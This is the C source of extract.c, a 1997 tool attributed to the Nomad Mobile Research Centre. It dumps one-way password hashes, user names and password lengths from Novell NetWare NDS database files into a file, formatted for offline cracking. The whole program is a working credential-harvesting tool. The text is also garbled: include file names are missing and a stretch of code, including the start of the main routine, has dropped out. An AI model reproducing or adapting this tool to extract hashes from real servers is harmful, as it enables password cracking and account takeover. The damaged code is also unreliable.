/************************************************************************* * * * extract.c - extracts one way encrypted passwords from NDS * * * * Programmer - Simple Nomad - Nomad Mobile Research Centre * * * *-----------------------------------------------------------------------* * * * 6/6/97 - Initial Revision * * * *-----------------------------------------------------------------------* * * * 6/10/97 - Completed program. * * * *-----------------------------------------------------------------------* * * * 6/13/97 - Added support for PASSWORD.NDS records. * * * *-----------------------------------------------------------------------* * * * 6/15/97 - Completed work on PASSWORD.NDS records. Expanded to * * include parent ID and a self offset field to allow for * * easier cracking later on. * * * *-----------------------------------------------------------------------* * * * 6/28/97 - Switched the int used for record counting to a long to * * allow converting huge BACKUP.DS with tons of records. * * Added an endian conversion routine. This should be used * * if a copy of ENTRY.NDS, BLOCK.NDS, and VALUE.NDS are * * retrieved from a little endian server, but extract is * * being run on a big endian box. If convert was run on a * * big endian box, then do not compile with the -DENDIAN * * option. * * * *************************************************************************/ /* * Send bugs to pandora@nmrc.org. * * Known bugs - there is an obit value to show that a record is "deceased". * EXTRACT currently prints deceased accounts as well as working and * disabled ones. This could be confusing. Not a bug really, but a "feature". * * To get around some byte alignment problems between Unix and DOS compilers, * I am not using sizeof(struct) anywhere in structures or during reads and * writes to files. Not great C coding style, but now only one version of code * has to exist. My goal was to compile as simply as possible, this eliminated * the need for a special make file to account for different compilers. */ /* * Includes */ #include #include /* * Typedefs for program */ typedef unsigned long uint32; typedef unsigned int uint16; typedef unsigned char uint8; typedef unsigned int unicode; /* * Global constants */ #define TRUE 1 #define FALSE 0 #define SYS_CLASS 0xffffffffL #define MAX_CHARS 128 /* * Global variables */ uint32 USER_CLASS; uint32 P_KEY; uint32 passwordOffset; FILE *fEntry; FILE *fValue; FILE *fBlock; FILE *fPassword; /* * struct for ENTRY.NDS records */ typedef struct entry { uint32 selfOffset; /* Offset in ENTRY.NDS. If this is the first record, it is 0x00000000 followed by 0x0000014e for the second record, etc. */ uint32 checkSum; /* I assume a checksum */ uint32 val1; /* Unsure, usually 0xfeffffff. */ uint32 val2; /* Unsure, usually 0xffffffff. */ uint32 peer; /* Offset to a peer record. */ uint32 firstChild; /* Offset to first child record. If no kids, 0xffffffff. */ uint32 lastChild; /* Offset to second child record. If no kids, 0xffffffff. */ uint32 firstValue; /* Offset in VALUE.NDS of first attribute. They are usually kept in order in VALUE.NDS, but since they are crossed referenced in VALUE.NDS they don't have to be.*/ uint32 id; /* The Object ID of the record. */ uint32 partitionID; /* The partition ID of the record. */ uint32 parentID; /* The parent's Object ID, if no parent it is 0xffffffff. */ uint32 val3; /* No idea. Usually a small number.*/ uint32 val4; /* No idea. 0x00000000. */ uint32 subordinates; /* Number of subordinates. This can include other objects besides children. */ uint32 classID; /* The "type" of Object ID. */ uint32 creatTime1, /* When object was created. */ creatTime2; uint32 modTime1, /* When object was last modified. */ modTime2; uint8 name[258]; /* Dreaded unicode describing the record. If a user object it will be the common name. */ } ENTRY; /* size=334 */ /* * struct for VALUE.NDS records */ typedef struct value { uint32 selfOffset; /* Offset in VALUE.NDS. If this is the first record, it is 0x00000000 followed by 0x00000040 for the second record, etc. */ uint32 checkSum; /* I assume a checksum */ uint32 val1; /* Unsure, usually 0xfeffffff. */ uint32 val2; /* Unsure, usually 0xffffffff. */ uint32 nextVal; /* The next Value record's offset. */ uint32 firstBlock; /* Offset in BLOCK.NDS if used. */ uint32 entryID; /* Type of record in ENTRY.NDS. */ uint32 typeID; /* Type of VALUE record. */ uint32 val3; /* No idea. Usually a small number.*/ uint32 creatTime1, /* When object was created(?). */ creatTime2; uint32 length; /* Length of data. */ uint8 data[16]; /* Start of data, unless there is a small amount of data, then it's all here. */ } VALUE; /* size=64 */ /* * struct for BLOCK.NDS records */ typedef struct block { uint32 selfOffset; /* Offset in BLOCK.NDS. If this is the first record, it is 0x00000000 followed by 0x00000080 for the second record, etc. */ uint32 checkSum; /* I assume a checksum */ uint32 val1; /* Unsure. */ uint32 nextBlock; /* Next record if data>120. */ uint32 valueOffset; /* Offset in VALUE.NDS (backlink) */ uint8 data[120]; } BLOCK; /* size=128 */ /* * struct for PARTITION.NDS records */ typedef struct partition { uint32 selfOffset; /* Offset in PARTITIO.NDS. If this is the first record, it is 0x00000000 followed by 0x00000028 for the second record, etc. */ uint32 checkSum; /* I assume a checksum */ uint32 val1; /* Unsure. */ uint32 id; /* ID of record. */ uint32 entryID; /* ID in ENTRY.NDS */ uint32 replicaID; /* Replica ID (??) in ENTRY.NDS */ uint32 val2; /* Unsure. */ uint32 val3; /* Unsure. */ uint32 timeStamp1, /* Probably used to keep things in sync */ timeStamp2; } PARTITIO; /* size=40 */ /* * struct for PASSWORD */ typedef struct password { uint32 selfOffset; /* Offset in PASSWORD.NDS. If this is the first record, it is 0x00000000 followed by 0x0000014e for the second record, etc. */ uint32 id; /* Object ID from ENTRY */ uint32 parentID; /* Parent ID */ uint32 objectID; /* Object ID from Private Key */ uint32 pwlen; /* Password length of user account */ uint8 hash[16]; /* One-way hash */ uint8 userOU[40]; /* OU of User */ uint8 userCN[258]; /* User common name */ } PASSWORD; /* size=334 */ #ifdef ENDIAN union { uint32 longData; uint8 shortData[4]; } output; union { uint32 longData; uint8 shortData[4]; } input; #endif /* * This union is needed as we need to read in four bytes from the * private key and write them out as a long. */ union { uint8 inBytes[4]; uint32 asLong; } ID; /* * This routine switches byte ordering to get around the big * endian -- little endian problem. I did this because systems * like AIX offer no solutions for a big endian reading a little * endian created fileSend it a uint32 and it returns the * converted uint32. */ #ifdef ENDIAN uint32 make_conversion(uint32 k) { int i; uint32 j; input.longData=k; for (i=0; i<4; i++) output.shortData[i]=input.shortData[3-i]; return(output.longData); } #endif /* * Close all open files. If not open it doesn't try to close since * this will core dump. */ void CloseNDS(void) { if (fEntry) fclose(fEntry); if (fValue) fclose(fValue); if (fBlock) fclose(fBlock); if (fPassword) fclose(fPassword); } /* * Open the three NDS files we will use, and a fourth to write out * password information to. */ int OpenNDS(void) { fEntry=fopen("ENTRY.NDS","rb"); fValue=fopen("VALUE.NDS","rb"); fBlock=fopen("BLOCK.NDS","rb"); fPassword=fopen("PASSWORD.NDS","wb"); if (!(fEntry && fValue && fBlock && fPassword)) { CloseNDS(); return 1; } printf("Opening NDS files...\n"); return 0; } /* * Dump unicode to screen. I dislike unicode a lot, but this routine * skips the 0x00's and only prints the parts that matter. */ void printUnicodeName(char *name, int j) { int i; for (i=0;i tempfile" and you'll end up with a nice text file containing the account names, hashes, etc. */ printUnicodeName(pPassword.userCN,258); printf(" "); printUnicodeName(pPassword.userOU,40); printf(" %08lx %d ",pPassword.objectID,pPassword.pwlen); for (i=0;i<16;i++) printf("%02x",pPassword.hash[i]); printf("\n"); /* end of screen stuff */ x=y; fseek(fPassword,passwordOffset,SEEK_SET); fwrite(&pPassword,334,1,fPassword); rewind(fEntry); passwordOffset += 334; j--; } printf("\n"); exit(0); }